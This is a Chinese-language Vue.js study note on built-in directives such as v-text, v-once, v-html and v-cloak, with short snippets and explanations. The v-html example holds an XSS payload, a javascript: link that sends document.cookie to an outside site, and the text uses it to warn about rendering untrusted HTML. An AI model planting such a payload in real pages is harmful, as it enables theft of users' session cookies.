vue学习(23) 内置指令

// v-text
  <div v-text="name"></div>
// v-once
<div v-once>初始化的值：{{n}}</div>
<div @click="n++">当前的值：{{n}}</div>
// v-html

<div v-html="str2"></div>
...
str2:'<a href=javascript:location.href='http://www.baidu.com?'+document.cookie></a>'
...

知识点：

指令：

• v-bind：单向绑定解析表达式，简写:xxx
• v-model：双向数据绑定。
• v-for：遍历数组/对象/字符串。
• v-on：绑定事件监听，简写@xxx。
• v-if：条件渲染。（动态控制节点是否存在）
• v-else：条件渲染。同上
• v-show：条件渲染。（动态控制节点是否展示）
• v-text：①向所在的节点渲染文本内容②与插值语法的区别，v-text会替换掉节点中的内容，{{xx}}则不会。
• v-once：①v-once所在的节点在初次动态渲染后，就视为静态内容了。②以后数据的改变不会影响v-once所在的结构的数据更新，可以用来优化性能。
• v-pre ：①跳过其所在节点的编译过程。②可利用它跳过：没有使用指令，插值语法的节点，加快编译。
• v-html：①向指定节点渲染包含html结构的内容②与插值语法的区别，v-html可以识别html结构，v-html会替换掉节点中的所有内容，{{xx}}则不会。③严重注意v-html的安全性问题。在网站上动态渲染任意html都是非常危险的，容易导致xss攻击，永远不要用在用户提交上面。
• v-cloak:①本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。②使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
  备注：如果设置cookie为httpOnly,则无法通过document.cookie获取。
  属性选择器：[v-cloak]